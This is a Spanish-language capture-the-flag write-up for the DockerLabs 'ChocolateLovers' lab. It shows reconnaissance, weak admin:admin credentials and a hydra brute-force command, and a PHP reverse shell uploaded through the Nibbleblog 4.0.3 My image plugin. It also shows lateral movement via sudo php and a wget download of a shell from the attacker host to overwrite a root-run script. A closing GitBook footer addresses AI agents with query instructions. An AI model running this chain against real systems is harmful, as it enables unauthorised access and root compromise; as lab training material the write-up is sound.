> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/chocolatelovers.md).

# ChocolateLovers

## 1. Reconocimiento

Comenzamos identificando los puertos abiertos de la maquina objetivo `172.17.0.2` con `nmap`.

```bash
nmap -sV -Pn -n --min-rate 5000 172.17.0.2
```

![Nmap](/files/HBlB1MldUfaFNFcugH8Z)

**Resultado relevante:**

| Puerto | Estado | Servicio | Version             |
| ------ | ------ | -------- | ------------------- |
| 80/tcp | open   | HTTP     | Apache httpd 2.4.41 |

Al tener solo HTTP expuesto, centramos la enumeracion en el servicio web.

***

## 2. Enumeracion Web

Al visitar la web principal aparece la pagina por defecto de Apache. Revisando el codigo fuente se encuentra una pista repetida en comentarios HTML:

```
/nibbleblog
```

![Codigo fuente](/files/HRR1v1T6FxeBVXfWITCg)

Accedemos a la ruta descubierta:

```
http://172.17.0.2/nibbleblog/
```

![Nibbleblog](/files/VB5cldTp0aTlLFnZmrGI)

La aplicacion instalada es **Nibbleblog**, con el sitio personalizado como `chocolate lovers`.

***

## 3. Fuzzing de Directorios

Se realiza fuzzing contra `/nibbleblog` usando `gobuster` y varias extensiones comunes.

```bash
gobuster dir -u http://172.17.0.2:80/nibbleblog \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,php,txt,py,sh,log
```

![Gobuster](/files/1V2K08eWqDMIxDrGeikE)

**Hallazgos importantes:**

| Recurso       | Codigo | Comentario                    |
| ------------- | ------ | ----------------------------- |
| `/admin.php`  | 200    | Panel de administracion       |
| `/admin/`     | 301    | Directorio de administracion  |
| `/content/`   | 301    | Contenido de la aplicacion    |
| `/plugins/`   | 301    | Plugins de Nibbleblog         |
| `/update.php` | 200    | Muestra version de Nibbleblog |
| `/README`     | 200    | Archivo informativo           |

***

## 4. Identificacion de Version

Al acceder a `update.php`, se muestra la version instalada:

```
Nibbleblog 4.0.3 "Coffee"
```

![Version Nibbleblog](/files/iI7ExpW4ubxpipb2m39h)

Esta version es interesante porque Nibbleblog 4.0.3 tiene una vulnerabilidad conocida de subida de archivos a traves del plugin **My image**, explotable si se consigue acceso al panel.

***

## 5. Acceso al Panel y Subida de Shell

Entramos al panel de administracion desde:

```
http://172.17.0.2/nibbleblog/admin.php
```

En esta maquina el panel usa credenciales debiles:

```
admin:admin
```

Si no se conoce la password, se podria validar con fuerza bruta contra el formulario de login:

```bash
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  172.17.0.2 http-post-form "/nibbleblog/admin.php:username=^USER^&password=^PASS^:Invalid username or password"
```

Dentro del panel, se aprovecha el plugin:

```
Plugins -> My image
```

Desde esta seccion se sube una reverse shell PHP como imagen. Aunque la aplicacion muestra varios warnings al procesar el fichero, los cambios se guardan correctamente.

![Plugin My image](/files/74IgcXnZDPHHAYJsQq8Z)

La subida queda disponible en el directorio del plugin:

```
http://172.17.0.2/nibbleblog/content/private/plugins/my_image/image.php
```

![Directorio my\_image](/files/MbfeNYCFYsfiBd32NyuJ)

***

## 6. Reverse Shell como www-data

Preparamos un listener en la maquina atacante:

```bash
nc -lvnp 4444
```

Al ejecutar `image.php`, recibimos una shell como `www-data`.

![Shell www-data](/files/B4iDt7YAS9odadHcp8Ij)

***

## 7. Enumeracion de Sudo

Comprobamos permisos de `sudo` para el usuario `www-data`.

```bash
sudo -l
```

![sudo -l](/files/AuGWk0GDkY5k1xkWaaAl)

El resultado indica que `www-data` puede ejecutar PHP como el usuario `chocolate` sin password:

```
(chocolate) NOPASSWD: /usr/bin/php
```

***

## 8. Movimiento Lateral a chocolate

Usamos PHP para lanzar una shell interactiva como `chocolate`.

```bash
sudo -u chocolate /usr/bin/php -r 'system("/bin/sh -i");'
whoami
```

![Usuario chocolate](/files/YMpULGfuWAcbxvtRWC8P)

Ya estamos dentro como el usuario `chocolate`.

***

## 9. Enumeracion Interna

Revisando el sistema aparece un archivo interesante en `/opt`:

```bash
ls -la /opt
```

![script.php](/files/pREWr8lN8prnENPECzpW)

El archivo `/opt/script.php` pertenece a `chocolate` y tiene permisos de escritura para ese usuario.

Tambien se revisan los procesos en ejecucion:

```bash
ps aux
```

![Proceso root](/files/lMAXsoFCppAPhr3BA50q)

Se observa que root ejecuta periodicamente el script:

```bash
/bin/sh -c service apache2 start && while true; do php /opt/script.php; sleep 5; done
```

Esto significa que si modificamos `/opt/script.php`, root acabara ejecutando nuestro codigo PHP.

***

## 10. Escalada de Privilegios

Preparamos otra reverse shell PHP en la maquina atacante y la descargamos desde la shell de `chocolate`.

```bash
wget http://172.17.0.1:8080/revshell.php
```

![Descarga revshell](/files/ZKW1omatUD6o6m8VC1CL)

Sobrescribimos el script que ejecuta root:

```bash
cp revshell.php /opt/script.php
```

![Sobrescritura script](/files/7oXUmFCpEAaP7TR6Gj46)

En la maquina atacante abrimos un nuevo listener:

```bash
nc -lvnp 4445
```

Tras unos segundos, el proceso de root ejecuta `/opt/script.php` y recibimos una shell privilegiada.

![Root shell](/files/YOFxTugEk65DcyjMSkmw)

***

## Resumen

| Paso | Tecnica                   | Resultado                         |
| ---- | ------------------------- | --------------------------------- |
| 1    | Nmap                      | HTTP en el puerto 80              |
| 2    | Codigo fuente             | Ruta `/nibbleblog` descubierta    |
| 3    | Gobuster                  | Panel y rutas internas detectadas |
| 4    | Enumeracion de version    | Nibbleblog 4.0.3 identificado     |
| 5    | Plugin My image           | Reverse shell como `www-data`     |
| 6    | `sudo -l`                 | PHP ejecutable como `chocolate`   |
| 7    | Movimiento lateral        | Shell como `chocolate`            |
| 8    | Proceso root + script PHP | Escalada a root                   |

***

## Conclusion

La maquina se compromete a traves de Nibbleblog 4.0.3, abusando de la subida de archivos del plugin **My image** para obtener una shell como `www-data`. Despues, los permisos de `sudo` permiten ejecutar PHP como `chocolate`. La escalada final se consigue porque root ejecuta de forma periodica `/opt/script.php`, un archivo modificable por `chocolate`, lo que permite reemplazarlo por una reverse shell y obtener acceso como root.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/chocolatelovers.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
